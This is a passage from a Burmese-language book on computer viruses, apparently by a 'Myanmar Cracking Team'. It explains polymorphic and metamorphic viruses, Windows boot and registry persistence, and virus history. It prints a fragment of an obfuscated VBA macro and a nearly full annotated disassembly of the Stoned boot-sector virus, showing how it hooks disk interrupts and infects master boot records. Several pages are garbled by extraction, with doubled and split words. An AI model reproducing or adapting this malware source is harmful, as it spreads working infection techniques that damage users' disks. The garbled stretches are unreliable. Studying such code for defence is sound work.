E8) tu,fí xdkzdkif Pattern rsm;udk awGYcJhaomf Anti-virus y½dk*&rfonf uGefysLwmtoHk;jyKoltm;
zdkifonf Adkif;&yfpful;pufcHxm;&NyD;jzpfaMumif; today;NyD; toHk;jyKolrS xdkzdkifudk zsufcsifvQif zsufEdkif
avonf/ xdkul;pufcH&onfhjzpfpOfwGif uk'frsm;onf jyKjyifcHxm;&NyD;jzpfaMumif; awGY&SdEdkifonf/
udk,fwdkifuk'fjyifjcif;enf;vrf;udk uGefysLwmacwfOD;ydkif;ü tuefYtowf&Sad om rSwfOmPfudk acRwm
Edkif&eftwGuf toHk;jyKcJhjcif;jzpfNyD; 1980cefYwGifrl DOS *drf;rsm;ü Copy Protection rsm;tm; zHk;uG,f
Ekdif&ef toHk;jyKcJhaMumif; awGY&Sd&ygonf/ xdkenf;vrf;rsm;udk tajccHí udk,fwkdifuk'fjyifonfhAdkif;&yfpf
rsm;udk zefwD;Mujcif;jzpfonf/ udk,fwdkifuk'fjyifEkdifaomAdkif;&yfpfrsm;udk atmufygtwkdif;trsdK;tpm;
rsm; cGJjcm;Ekdifavonf-
(u) ½dk;&Sif;aom ukd,fwdkifuk'fjyifonfhAdkif;&yfpfrsm;/ þAdkif;&yfpfrsm;onf uk'ftwGif;&Sd
Subroutine rsm;tm; vG,fvG,fyif vJvS,fygonf/ xdkYaMumifh ¤if;wdkYonf jyó
emtenf;i,frQudkom jzpfapygonf/
( c) Key t&Sifjzifh 0Sufjcif;/ Akdif;&yfpfudk Encryption Key wpfckjzifh 0Sufonf/ ¤if;
wGif Decryption Module wpfckESifh 0Sufxm;aom aumfyDwpfck yg0ifonf/ ul;
pufcHxm;&aom zdkiftoD;oD;wGif Adkif;&yfpfudk rwlnDaom Key rsm; aygif;pyf
toHk;jyKí 0Sufxm;avonf/ odkYaomfvnf; Decrypting Module tydkif;onf
rajymif;vJbJ usef&Sdaeygonf/ Adkif;&yfpfudk Adkif;&yfpf Scanner rsm;ESifh Signature
rsm;jzifh wdkuf½dkufpHkprf;&ef rjzpfEdkifyg/ odkYaomf Decryption Module udkrl pHkprf;
od&SdEkdifygonf/ toHk;jyKxm;aom Decryption enf;vrf;onf Byte wdkif;udk yifr
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 24
Adkif;&yfpfrS xkwfvkyfodrf;qnf;xm;aom usyef; Key wpfckjzifh XOR vkyf&efjzpf
avonf/
( *) Polymorphic uk'fAdkif;&yfpf/ þAdkif;&yfpftrsdK;tpm;onf zdkifwpfcktm; Decrypt-
ion Module jzifhom Decode vkyfEdkifaom Encrypt vkyfxm;onfh Polymorphic
uk'fjzifh ul;pufaponf/ Polymorphic Adkif;&yfpfrsm;onf ¤if;wdkYtm; Anti-virus
y½dk*&rfrsm; pHkprf;rod&SdEdkifap&eftwGuf zdkifrsm;udkul;pufyGm;rsm;onfhtcsdefwGif
¤if;wdkY\uk'frsm;udk jyKjyifavonf/ ¤if;wdkYonf Encryption Module ESifh
Instruction tpDtpOfrsm;udkajymif;vJypfavonf/ Polymorphism jzpf&eftwGuf
usyef;*Pef;rsm;xkwfjcif;udk toHk;jyKavonf/ Polymorphic uk'frsm;udk vkyf
aqmifEdkif&ef Mutation Engine udk toHk;jyK&avonf/ Mutator rsm;onf Anti-
virus rsm;rS rSefuefaom pHkprf;jcif;enf;vrf;rsm;toHk;jyKrS ¤if;wdkYtm; od&SdapEdkif
atmif pGrf;aqmifEkdifMuavonf/ Adkif;&yfpfESdrfESif;a&;uRrf;usifolrsm;tm; uk'f
rsm;udk od&Sdjcif;rSumuG,f&eftwGuf aES;auG;apaom Polymorphic uk'frsm;udk
vnf; toHk;jyKavh&SdMuygonf/ uGefysLwmpepfwGif Polymorphic Adkif;&yfpf &Sd?
r&Sdudk ppfaq;Edkif&eftwGuf Integrity Checker udk toHk;jyKavh&Sdonf/ Anti-
virus y½dk*&rfrsm;onf Polymorphic uk'fAdkif;&yfpfrsm;udk ppfaq;Edkif&eftwGuf
Emulator rsm;udktoHk;jyKum Adkif;&yfpfuk'frsm;udk Decrypt vkyfMu&onf/ (odkYr
[kwf) Encrypt vkyfxm;aom Adkif;&yfpf Pattern rsm;udk aocsmpdppf&avonf/
tcsdKU Developer rsm;onf ¤if;wdkYy½dk*&rfrsm;tm; Crack vkyfjcif;rSumuG,fEkdif
&eftwGuf y½dk*&rfwGif Polymorphic uk'frsm;udk xnfhoGif;a&;om;avh&Sdonf/
xdktcg tcsdKUaom Anti-virus y½dk*&rfrsm;onf xkdzkdifrsm;udk Adkif;&yfpfrsm;[k rSm;
,Gif;pGm owday;azmfjyavh&Sdonf/
'BsbK
Sub AuTOclOSE()
oN ERROr REsuMe NeXT
SHOWviSuAlBASIcEditOr = faLsE
If nmñGG > WYff Then
For XgfqLwDTT = 70 To 5
JhGPTT = 64
KjfLL = 34
If qqSsKWW < vMmm Then
For QpMM = 56 To 7
If qtWQHU = PCYKWvQQ Then
If lXYnNrr > mxTwjWW Then
End If
If FFnfrjj > GHgpE Then
End If
yHk(7) Polymorphic uk'f Macro wpfck
(C) Metamorphic uk'fAdkif;&yfpf/ Metamorphic Adkif;&yfpfrsm;onf Executable zdkifrsm;
udk topfxyfrHul;puf&eftwGuf olwdkYudk,folwdkY jyefjyifa&;Muavonf/ xdkAdkif;
&yfpfrsdK;onf ½IyfaxG;vSNyD; tvkyfvkyf&eftwGuf Metamorphic Engine rsm;udk
toHk;jyKMuavonf/ Adkif;&yfpfrsm;toHk;jyKaomuk'fonf ,m,Duk'ftaejzifh
The Virruses : Intern
nals V 1.0 - rhythm
r (Myaanmar Crackking Team) 25
ajymif;vJjcifif;cH&NyD;? ¤ifif;aemuf rlvuk v 'ftoGiiffudk jyefvnf n&,lMuygo onf/ þ
enf;vrf;wGifi Anti-viruus aqmhzf0Jv vfrf sm;rS Patteern rsm;udod
kod&Sdjcif;rS a&S&mif&Sm;&ef
rlv Algoriithm udk raajymif;vJbJ&aponf &Sd / Metamorphic
M c uk'frsm;on nf Poly-
m
morphic uk rsm;xuf ydkítpGrf;xuf
u'f x avonf/ þAdkif;&yfpfprsdK;wGif ½IyyffaxG;&Snf
vsm;aomuk u'frsm; yg&Sdonf o / emrn nfBuD; Metam morphic Adkif
if;&yfpfrsm;rSm Win32/
Simile ESifh Zmist
Z wdkYjzpfonf/ Win332/Simile udk Assembly y½dk*&rfbmo ompum;
ESifha&;om;x xm;NyD; uk'faa& 14000 ausmfyg&Sdonf/ Adkif;&yfpfpfuk'f\ 90% ausmf
onf Metaamorphic Enngine \tpdpdwftydkif;rsmm;jzpfonf/ Zombie.Miistfall [k
vnf;ac:a00:aom Zm mist onf uk u'faygif;pnf nf;jcif;enf;ynmudk to oHk;jyKaom
yxrqHk;Adkif;&yf
; pfjzpfavonf v / uk'wpf w
f ckudk tjjcm;uk'fqD ud uk,fwdkifaygifif;xnfhNyD;
aemuf uk'fudk xyfrHxwf xk ,lNyD; Exxecutable zdkififrsm;udk jyefvnf
v wnfaq qmufav
onf/ þAdkifi;&yfpfrsm;o onf Anti-viirus y½dk*&rfrfrsm;rS Emuulator jzifhpHpkprf;jcif;udk
umuG,fEdkifMuavonf/ Metamorpphic enf;ynmjzifhyGm;vd vdkufaom aemufa Adkif;
&yfpfzdkifwpfzdzdkifonf rlvzd v kifESifh to oGifjcif; vHk;00rwlawmhay/ y Metamorrphic Adkif;
&yfpfrsm;on nf Adkif;&yfprs rf sm;pGmudk o, ,faqmifomGm;EkdifNyD; tcsdsdKUaom Metaamorphic
Adkif;&yfpfrsm;onf rwlnD naD om pufv vnfywfrIpeepfrsm;wGif tvk t yfvkyfEkdiiffayonf/
M
Metamorphi ic Adkif;&yfpfrs rsm;\ yHkoP²meftqifhq qifhajymif;vJrIrItm; yHk(8)wGif awGY
jrifEkdifygon nf/
yHk(8) yHoP²
k
o mefESifh t½G
t ,ftpm;u
uGJjym;oGm;MMuonf
u h Metamorphic Adkif
if;&yfpfrsm;
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 26
tcef;(3)
uGefysLwmtvkyfvkyfyHk
1/ ,aeYacwfAdkif;&yfpfrsm;onf ul;pufjcif;oabmxuf tzsufoabmrsm;vkyfaqmifjcif;?
uGefysLwm\ Setting rsm;tm; jyifqifjcif;rsm;udk vkyfaqmifvmonfhtwGuf Adkif;&yfpfrsm;\zsufqD;rI
tEÅ&m,fudk umuG,fEkdif&ef uGefysLwmpepftvkyfvkyfyHkudk tMurf;zsif; od&Sdxm;&rnfjzpfygonf/
uGefysLwmpufvnfywfrIpepfpwifyHk? Adkif;&yfpfrsm; jyifqifzsufqD;Edkifonfh Windows Registry ESifh
Adkif;&yfpfrsm;t"duxm;wdkufcdkufaom uGefysLwmzdkit f rsdK;tpm;rsm;taMumif;udk &Sif;&Sif;vif;vif;
od&Sdxm;rSom Adkif;&yfpfwdkY\ oabmobm0udk ydkrdkem;vnfEkdifrnfjzpfygonf/
Windows XP/2000/NT Startup Process
yHk(10)
1 Window
ws Advanced
d Option M
Menu
6/ ws NT? Wiindows 20000 ESifh Winddows XP t
Window twGufrl ntldr u ntdeetect.com
y½dk*&rfu
uddk vkyfaqmifonf/ ntddetect.com u Install v vkyfxm;onfh Hardware rsm;ESifhywfo oufonfh
tcsuftvuf
t rsm;udk pkaqmif;onf o / ¤if;onf o tcsdKU H Hardware rsm;ud
r k udk,wkf difpHkprf;NyD; tcsdKUudk
BIOS u Memory xJ xwGifcsefxmm;cJhonfh Taable rsm;rS&,l
,jcif;jzpfonf
n/ tu,fí Hardwarre Profile
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 28
rsm;pGmudk ul;wifrnfqdkvQif xdktcsdefwGif ntldr u&yfwefYapNyD; Hardware Profiles/Configuration
Recovery Menu udkjyornfjzpfygonf/ ntldr upHkprf;vdkY&onfh tcsuftvufrsm;udk Windows
Registry \ HKLM\Hardware\Description Key wGifodrf;qnf;avonf/ xdkYaemuf ntldr u
System32 folder xJrS ntoskernel.exe ESifh hal.dll zdkifrsm;udk &SmazGavonf/ xdkzdkifESpfzdkifu Windows
Kernel udkjzpfay:aponf/ tu,fí xdkzdkifrsm; aysmufaecJhvQif ]Windows could not start because
the following file was missing or corrupt} [laompmwef;ay:vmrnfjzpfonf/
Windows NT Kernel
7/ Windows NT? Windows 2000 ESifh Windows XP wdkYonf Kernel (ntoskernel.exe) wpfck
ay:wGif tajccHxm;jcif;jzpfNyD; xdk Kernel u Hardware rsm;udk&,ljcif;? Process rsm;udk pwifjcif;^
&yfwefYjcif;? CPU udkxdef;csKyfjcif;? Memory udkpDrHcefYcGJjcif;wdkYudk vkyfaqmifay;aeonfh tajccHtus
qHk; Service wpfckjzpfonf/ Motherboard ESifh CPU 'DZdkif;rsm;Mum;jcm;em;rIudk udkifwG,fonfrSm Kernel
\ Hardware Abstraction Layer (HAL) jzpfNyD; Kernel ESifh ¤if;xufwpfqifhjrifhonfh Windows
wdkYtwGuf Hardware rsm;udk pDrHcefYcGJonfh Function rsm;udk aqmif½Gufonf/ omrefuGefysLwmwpfvHk;
twGuf HAL zdkifonf hal.dll jzpfonf/ (Physical Address Extension (PAE) udktoHk;jyKonfhpepfrsm;
twGuf Kernel Image onf ntoskrnl.exe tpm; ntoskrnlpa.exe jzpfavonf/)
8/ NT Kernel onf trSefpifppfwGif Windows r[kwfay/ Graphical User Interface (GUI)
ESifh Windows onf Kernel txufwGif&SdNyD; ¤if;udktaumiftxnfazmfaeonfrSm 32-bits Windows
(Win32) Subsystem jzpfonf/ NT Kernel udk UNIX ESifh OS/2 wdkYuvnf; toHk;jyKEkdifygonf/ Kernel
ESifh HAL udk Memory xJul;wifNyD;onfhaemufwGif ntldr onf Registry xJrS Component zdkifrsm;udk
&SmazGNyD;ul;wifygonf/ ntldr onf Boot Menu wGif Boot vkyfcJhonfhtaetxm;ay:rlwnfNyD;
HKEY_LOCAL_MACHINE\System\Select\Current (odkY) HKEY_LOCAL\MACHINE\System\
Select\LastKnownGood Value udk&SmazGppfaq;NyD; HKEY_LOCAL_MACHINE\System\Current
ControlSet key udkzefwD;avonf/ xdkYaemuf Hardware Profile rsm;pGm&SdcJhvQif HKEY_LOCAL_
MACHINE\System\CurrentControlSet\Hardware Profiles key udkppfaq;avonf/
9/ Hardware Profile rsm;udkppfaq;NyD;onfhaemufwGif ntldr onf HKEY_LOCAL_
MACHINE\System\CurrentControlSet\Services \ Entry Key rsm;atmuf&Sd Type Value onf 1
[kwf? r[kwf pHkprf;NyD; 1 jzpfcJhvQif ¤if;onf Kernel tqifh Device Driver jzpfaMumif;jyonf/ Boot
vkyfcsdefwGif pwif&ef trSwftom;jyKxm;onfh Driver rsm;udk ntldr uul;wifavonf/ xdktcsdefwGif
Windows Kernel \u@onf NyD;qHk;NyDjzpfonf/
10/ Kernel u ueOD;vkyfaqmifonfh u@ESpfck&Sdonf/ yxru@onf tenf;qHk;vdktyf
onfh Service rsm;udk pwifvkyfaqmifavonf/ xdk Service rsm;rSm HAL? Memory Manager? Object
Manager? Security Reference Manager ESifh Process Manager wdkYjzpfonf/ xdktcsdeftxd uGefysLwm
zefom;jyifwGif jrif&EkdifonfrSm BIOS rS Graphic Mode 0ifvmonftxd pmom;csnf;oufoufESifh
Windows pwifonfh Progress Bar omjzpfavonf/ xdkYaemuf System tm;vHk;udk jyefvnfppfaq;NyD;
Startup Process udk pwifavonf/ Device Driver rsm;ESifh Filter Driver rsm;udk ul;wif&rnfh
tpDtpOftwkdif; ul;wifNyD; System Manager Subsystem (SMSS) pwifonf/
11/ Boot vkyfcsdefwGif SMSS onf atmufygwdkYudk vkyfaqmifavonf-
The Virruses : Intern
nals V 1.0 - rhythm
r (Myaanmar Crackking Team) 29
(u) HKLM\SYS
H STEM\CurreentControlSeet\ Control\ Session Maanager\ Envvironment
K atmuf
Key ufwGif Enviroonment Variaable rsm;udk zzefwD;onf/
( c) SMSS u Win32
W Subsyystem (win322k.sys) \ K
Kernel-mode Side udkpwifonf/
( *) Win32 Subssystem \ User-mode
W U S
Side jzpfaom
o Client/Seerver Runtim
me Server
Subsystem (csrss.exe)
( ukpwifonf/ xdktcsdefwG
ud wif Window Screen udk
ws Startup S
jrif&NyDjzpfo
onf/
(C) mory Page zif
Virtual Mem
V zdk rsm;udk zefwD;onf/ (HKLM\SYS
H TEM\CurrenntControl
Set\Control\\Session Mannager\Memoory Managem ment)
rSwfcsuf
uf/ smss.exe onf zdkifrsm;udkrzGifhciwG if if Autochhk udkvkyfaqmif
q NyD; Winndows udk
pepfwusyd
u wfcJhjcif; &Sd^r&Sd ppfaq;N
a yD; Drivve rsm;tm;v vHk;udk ppfaq;onf
q / Drivve rsm;udk
ppfaq;&mwGif chkkdsk.exe udkvkyfaqmifaapNyD; rppfaq;vd a kygu 10puúefYtwG
wif; ESpf
ouf&m Key wpfckESESdyfNyD; ausmfEdEdkifygonf/
12/ aemufqH
qk;wGif Winndows Logoon Manager jzpfonfh w winlogon.ex xe pwifvky
yaqmif
f NyD;
Welcomee Screen (od
oYkY) Logon Diaalog udkjyorrnfjzpfonf/ yHk(11)/
yHk(13) R
Registry ditor twGif;&S
Ed ; d Handle K
Key rsm;
22/ HKEY__CLASSES__ROOT onf o HKEY Y_LOCAL__MACHINE E \tcGJwpf w ckjzpfNyD;
aqmhzf0Jv
vftm;vHk;\ Classes rssm;ESifh Extennsion rsm;ygg0ifonf/ H HKEY_CUR RRENT_USE ER onf
HKEY_U USERS \t tcGJwpfckjzpfpNyD; Window ws \ vuf uf&SduGefysLwmoHk;pGJolESifhywf
woufaomm tao;
pdwftcsuuftvufrsmm;yg&Sdonf/ HKEY_LO OCAL_MAC CHINE wGif pepfESifhywf woufaom Settings
tm;vHk;yg
yg0ifonf/ HKEY_USE
H ERS ü uGefysLwmwG
y if toH
t k;jyKvsufuf&Sdaom uGefeysLwmoHk;pGJolrsm;ESifh
ywfouf
uonfh Settiings rsm;yg&S&Sdonf/ HK KEY_CURR RENT_ CON NFIG onf nf HKEY_LLOCAL_
MACHIN NE tcGJwpfckjzpfNyD; uGefysLwm vu uf&Sdtvkyfvk
vyfaeaom tpDtpOfpepf e rsm;yg&Sdo
onf/ t
ao;pdwfood&Sdem;vnf
nfEkdif&eftwGuf u Registry Setting tcssKd Utm; wifjytyfygonf/
Window ws pepf pwififcsdefwGif y½d½dk*&rfrsm;tmm; tvkyfvkyyffapjcif;
23/ ws pepfwGif Logon pw
Window wifvkyfNyD;aemmuf Welcom me Screen ay:onf
a ESifh Adkif;&yfpf
rsm;onf ¤if;wdkYtm;v
vkyfaqmif&ef & twGuf aee&mwGif ¤if;wdkYwefzdk;rsmm;udk jyifa&;avonf/ yHk(14)wGif
HKEY_L LOCAL_MA ACHINE\SO OFTWARE\M Microsoft\W Windows\CurrrentVersionn\Run atmmufü t
The Virruses : Intern
nals V 1.0 - rhythm
r (Myaanmar Crackking Team) 37
vkyfvkyfaaeaom y½dk*&rf
* rsm;udk awG
a YjrifEkdifygonf
g / tuu,fí Run tpm; RunO Once wGif wef
w zdk;rsm;
udkjyifygu
u Windowss pwifcsdefw
wGGif y½dk*&rfonf
o wpfBudrfrom vkyfaq
qmifrnfjzpfygonf/
usifh0wfESifh rlydkifcGifhqdkif&mxdcdkufrIrsm;
5/ Adkif;&yfpfrsm;onf tcGifhr&SdbJ tcsuftvufrsm;udk jyKjyifonfhtwGuf usifh0wfydkif;qdkif
&mt&aomfvnf;aumif;? Oya'aMumif;t&aomfvnf;aumif; xdcdkufrIrsm;jzpfapavonf/ tu,fí
y½dk*&rfrsm;onf jyKjyifajymif;vJxm;jcif;cH&ygu rlydkifcGifh? ydkifqkdifcGifhESifh y½dk*&rftwGuf enf;ynmydkif;
qdkif&m taxmuftyHhrsm; r&&SdEdkifbJjzpfapavonf/
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 40
pdwfykdif;qdkif&m xdcdkufrIrsm;
6/ Adkif;&yfpfrsm;onf pdwfydkif;qkdif&m xdcdkufrIrsm;udkvnf; jzpfyGm;apEkdifavonf/ omref
uGefysLwmoHk;pGJolwpfa,mufonf uGefysLwmrnfodkYtvkyfvkyfonfudk em;vnfjcif;r&Sday/ Za0Z0g
jzpfrIESifh ynmcsdKUwJhrIu olUtm; aMumufvefYrIudkjzpfapygonf/ Adkif;&yfpf (odkY) Worm onf uGefysLwm
oHk;pGJolrsm;udk ¤if;wdkY\uGefysLwmrsm; xdef;csKyfcGifhtm; wm;qD;jcif;? taESmifht,Sufrsm;zefwD;jcif;ESifh
rdrdudk,fudk,HkMunfrI r&Sdapjcif;wdkYudk jzpfapygonf/
Stoned Adkif;&yfpf
7/ tifwmeufray:cifu yxrqHk;uGefysLwmAdkif;&yfpfonf Floppy Disk rsm;rS ysHUESHYcJhyg
onf/ tapmqHk;xJrSwpfckrSm 1987-ckESpfu Boot Sector Adkif;&yfpfjzpfaom Stoned jzpfonf/ ¤if;
onf ]Your Computer is now Stoned! LEGALIZE MARIJUANA!} [k pmwef;ay:vmNyD; ul;puf
cHxm;&aom uGefysLwmoHk;pGJolrsm;tm; rcHcsdrcHomjzpfaponf/ Adkif;&yfpfrsdK;uGJrsm;pGmudk wkya&;om;
cJhMuNyD; &SdNyD;om;Adkif;&yfpfuk'fudk tqifhjr§ifhjcif;jzifh ydkNyD;ul;pufapEdkifap&ef vrf;zGifhay;cJhygonf/
1990 ckESpfwGifay:cJhaom Michelangelo Adkif;&yfpfESifh 1994 ckESpfwGif ay:aygufcJhaom Angelina
Adkif;&yfpfwdkYonf Stoned \ rsdK;EG,fpkrsm;jzpfMuonf/
8/ uGefysLwmonf ul;pufcHxm;&aom Disk rS Boot vkyfaomtcg Stoned Adkif;&yfpfonf
uGefysLwmrSwfOmPfxJwGif aeavawmhonf/ tu,fí tjcm; Hard Drive wpfckrS Boot vkyfcJhaomf
Hard Drive \ Master Boot Record udkppfaq;NyD; ul;pufcHxm;&jcif;r&Sdxm;aomf ul;pufaprnfjzpfyg
onf/ Floppy Disk rsm;udk ul;pufaomtcg Stoned onf Master Boot Record udk Sector 11 odkY
ajymif;a½TUvkdufNyD; Sector 0 wGif ¤if;\uk'frsm;udk xm;avonf/ Hard Drive rsm;udk ul;pufaomtcg
¤if;onf Master Boot Record udk Side 0? Cyl 0? Sector 7 odkYa½TUNyD; ¤if;\uk'frsm;udk Side 0? Cyl 0?
Sector 1 wGif ae&mcsxm;avonf/ Stoned onf 360kB qefYaom 5.25" Floppy ESifh Hard Drive
rsm;udkomul;pufavonf/ Stoned onf uGefysLwmrSwfOmPfwGif; &SdaepOfwGif Floppy rsm;\ Master
Boot Record rsm;udk ul;pufaprnfjzpfonf/ ¤if;onf Hard Drive rsm;udkrl jyefvnful;pufjcif;
rvkyfay/ tu,fí Master Boot Record &Sd Stoned Adkif;&yfpfudk z,f&Sm;cJhvQifyif rSwfOmPfxJ&Sd
Akdif;&yfpfonf Hard Drive udk jyefvnful;puf&ef BudK;pm;rnfr[kwfyg/ Adkif;&yfpfonf rnfonfh
zsufqD;rIudkrS jyKvkyf&ef r&nf½G,fcJhaomfvnf; Adkif;&yfpfonf rlv Boot Sector udk Sector 11 odkYa½TU
onfhtwGuf Sector 11 wGifodrf;xm;aom tcsuftvufrsm; qHk;½HI;rnfjzpfygonf/ tcsdKUaom DOS
pepfrsm;wGif Sector 11 udk File Allocation Table \wpfpdwfwpfa'otjzpf toHk;jyKaomaMumifh
¤if;onf Disk \ FAT pepfudk ysufpD;apygonf/
Stoned_Start:
; set data segment register
000000A1 33C0 xor ax,ax
000000A3 8ED8 mov ds,ax
; create a new stack
000000A5 FA cli
000000A6 8ED0 mov ss,ax
000000A8 BC007C mov sp,7C00h ;
000000AB FB sti
; store (patch) Segment:Offset value of Interrupt 13h
000000AC A14C00 mov ax,[13h * 4 + 0] ; Interrupt Vector 13h Offset
000000AF A3097C mov [Int_13h_Offset],ax
000000B2 A14E00 mov ax,[13h * 4 + 2] ; Interrupt Vector 13h Segment
000000B5 A30B7C mov [Int_13h_Segment],ax
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 41
; allocate 2048 bytes memory from the end of real mode memory
000000B8 A11304 mov ax,[0x413] ; MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
000000BB 48 dec ax
000000BC 48 dec ax
000000BD A31304 mov [0x413],ax
; * 1024 / 16 = Segment Size
000000C0 B106 mov cl,6 ; 6 bits left shift = * 64
000000C2 D3E0 shl ax,cl
000000C4 8EC0 mov es,ax
000000C6 A30F7C mov [7C00h + Relocated_Memory_Segment],ax ; store segment of relocated memory for
;later usage
; set new Interrupt 13h handler
000000C9 B81500 mov ax,Interrupt_13h
000000CC A34C00 mov [13h * 4 + 0],ax ; Offset
000000CF 8C064E00 mov [13h * 4 + 2],es ; Segment
; now relocate this code to new allocated memory, where int 13h points to
000000D3 B9B801 mov cx,440 ; 440 bytes to copy (everything up to the Partition Table)
000000D6 0E push cs
000000D7 1F pop ds ; from ds:si (code segment:0)
000000D8 33F6 xor si,si
000000DA 8BFE mov di,si ; to es:di (allocated memory:0)
000000DC FC cld
000000DD F3A4 rep movsb ; rep movsd
000000DF 2EFF2E0D00 jmp word far [cs:Relocated_Memory_Offset] ; why not?
Relocated_Memory:
; execute Reset Disk System
000000E4 B80000 mov ax,0
000000E7 CD13 int 13h
; set register for reading the bootloader
000000E9 33C0 xor ax,ax
000000EB 8EC0 mov es,ax ; target segment = 0000h
000000ED B80102 mov ax,0x201 ; function Read Sectors, 1 sector
000000F0 BB007C mov bx,0x7C00 ; data buffer = 0000h:7C00h
; check if hard disk has already been infected
000000F3 2E803E080000 cmp [cs:Hard_Disk_Infected],byte 0
000000F9 740B jz Attack_Floppy_Hard_Disk
; read original bootloader from hard disk and execute it
; if already infected, sector 7 contains the backup, so load & execute
000000FB B90700 mov cx,7 ; sector 7, backup copy
000000FE BA8000 mov dx,80h ; first hard disk
00000101 CD13 int 13h
00000103 EB49 jmp short Stoned_Exit
00000105 90 nop
Attack_Floppy_Hard_Disk:
; - Floppy (first drive) <- will be started later
; - Hard Disk (first drive)
; load the original bootloader from the first floppy drive to 7C00h, will be executed later
00000106 B90300 mov cx,3 ; sector 3
00000109 BA0001 mov dx,0100h ; first floppy, head 1
0000010C CD13 int 13h
0000010E 723E jc Stoned_Exit ; if error, execute original bootloader
; display the message only if multiple of 440 ms time delay
00000110 26F6066C0407 test byte [es:046Ch],00000111b ; 0000h:046Ch = Timer ticks since midnight (updated
; every 55 milliseconds by BIOS)
00000116 7512 jnz Message_Output_Finished
; lets output "Your PC is now Stoned!"
00000118 BE8901 mov si,Stoned_Message
0000011B 0E push cs
0000011C 1F pop ds ; ds:si = message
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 42
Message_Output_loop:
0000011D AC lodsb ; next character
0000011E 0AC0 or al,al ; zero?
00000120 7408 jz Message_Output_Finished
00000122 B40E mov ah,0Eh ; function teletype output
00000124 B700 mov bh,0 ; on first page
00000126 CD10 int 10h
00000128 EBF3 jmp short Message_Output_loop
Message_Output_Finished:
; read bootloader from hard disk
0000012A 0E push cs
0000012B 07 pop es
0000012C B80102 mov ax,0x201 ; function Read Sectors, 1 sector
0000012F BB0002 mov bx,0x200 ; to address cs:0200h
00000132 B101 mov cl,0x1 ; sector 1
00000134 BA8000 mov dx,0x80 ; hard disk
00000137 CD13 int 13h
00000139 7213 jc Stoned_Exit
; check whether the hard disk is already infected
0000013B 0E push cs
0000013C 1F pop ds
0000013D BE0002 mov si,0200h ; source ds:si = cs:0200h (the read sector)
00000140 BF0000 mov di,0000h ; compare against this bootloader
00000143 AD lodsw ; 1st word to compare
00000144 3B05 cmp ax,[di]
00000146 7511 jnz Hard_Disk_Not_Infected
00000148 AD lodsw ; 2nd word to compare
00000149 3B4502 cmp ax,[di+0x2]
0000014C 750B jnz Hard_Disk_Not_Infected
Stoned_Exit:
; exit from Stoned, execute original bootloader
0000014E 2EC606080000 mov [cs:Hard_Disk_Infected],byte 0
00000154 2EFF2E1100 jmp word far [cs:Original_Bootloader_Offset] ; exit to original bootloader..
Hard_Disk_Not_Infected:
00000159 2EC606080002 mov [cs:Hard_Disk_Infected],byte 2 ; remember that hard disk has been infected (has
; no effect)
; write backup
0000015F B80103 mov ax,0x301 ; function write sectors, 1 sector
00000162 BB0002 mov bx,0x200 ; data buffer
00000165 B90700 mov cx,7 ; backup copy
00000168 BA8000 mov dx,0x80 ; hard disk
0000016B CD13 int 13h
0000016D 72DF jc Stoned_Exit
; copy Partition Table
0000016F 0E push cs
00000170 1F pop ds ; ds = cs
00000171 0E push cs
00000172 07 pop es ; es = cs
00000173 BEBE03 mov si,0x3BE ; source = read sector
00000176 BFBE01 mov di,0x1BE ; target = copy of this bootloader
00000179 B94202 mov cx,0x242 ; cl = 4 * 16 + 2 (4 Partition Table entries + Magic Number)
0000017C F3A4 rep movsb
; infect the hard disk
0000017E B80103 mov ax,0x301 ; function write sectors, 1 sector
00000181 33DB xor bx,bx
00000183 FEC1 inc cl
00000185 CD13 int 13h
00000187 EBC5 jmp short Stoned_Exit
; Stoned message (7 = BEL, 13 = CF, 10 = LF)
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 43
Stoned_Message db 7, "Your PC is now Stoned!", 7, 13, 10, 10, "LEGALISE MARIJUANA!"
times 512-($-$$) db 0
yHk(16) Stoned Adkif;&yfpf\ uk'frsm;
a*s½kqvifAdkif;&yfpf
8/ 1987 wGif tpöa&;wGifawGY&SdcJhaom zdkifrsm;udk ul;pufcJhaom zdkifAdkif;&yfpfjzpfonf/ ¤if;
\Zmpfjrpfonf raocsmvSay/ tpöa&;rS pwifcJhonf[k ,HkMunf&onf/ odkYaomf 1991 ckESpfwGif
awGY&aomtaxmuftxm;rsm;t& ¤if;onf tDwvDrSjzpfEdkifaMumif;awGY&avonf/ 1993 ckESpfwdkif
a*s½kqvifAdkif;&yfpfysHUESHYqJjzpfNyD; ajrmufrsm;vSpGmaom rsdK;uGJrsm;udkvnf; zefwD;cJhMuonf/ a*s½k
qvifAdkif;&yfpfonf .exe zdkifa&m? .com zdkifrsm;udkyg ul;pufNyD; Stoned Adkif;&yfpfxuf ydkNyD;zsufqD;
avonf/ ¤if;onf 13&ufajrmufaeY aomMumaeYwGifom tvkyfvkyfojzifh ysHUEHSYrIonf Stoned xuf
rsm;pGm aES;auG;aomfvnf; a*s½kqvifAdkif;&yfpfonf uGefysLwmoHk;pGJolrsm;\ y½dk*&rfrsm;tm; aomif;
ESifhcsDí zsufqD;cJhavonf/ Adkif;&yfpfonf COMMAND.COM zdkifudkrl zsufqD;jcif;r&Sday/
9/ a*s½kqvifAdkif;&yfpfonf tydkif;ESpfydkif;jzifhvkyfaqmifonf/ wpfydkif;rSm aESmifh,Sufjcif;t
ydkif;jzpfNyD; usefwpfydkif;rSm zsufqD;jcif;tydkif;jzpfonf/ aESmifh,Sufjcif;tydkif;wGif em&D0ufMumNyD;wdkif;
Row 5ck? Column 5ckrSonf Row 16ck? Column 16ck zefwD;jcif;? Black Windows rsm;zefwD;jcif;jzifh
taESmifht,Sufay;avonf/ zsufqD;jcif;tydkif;udkrl 13&ufajrmufaeY aomMumaeYwGif vkyfaqmifNyD;
xdkaeYwGif tvkyfvkyfaom rnfonfhy½dk*&rfudkrqdk zsufqD;ypfavonf/ ¤if;\rsdK;uGJAdkif;&yfpfrsm;rSm
Suriv? Anarkia? Apocalypse? Captain Trip? Mendoza ESifh Nemesis ponfwdkYjzpfonf/
Morris Worm
9/ 1988 Edk0ifbmwGif ysHUESHYcJhaom Morris Worm (ac:) Internet Worm (ac:) Great Worm
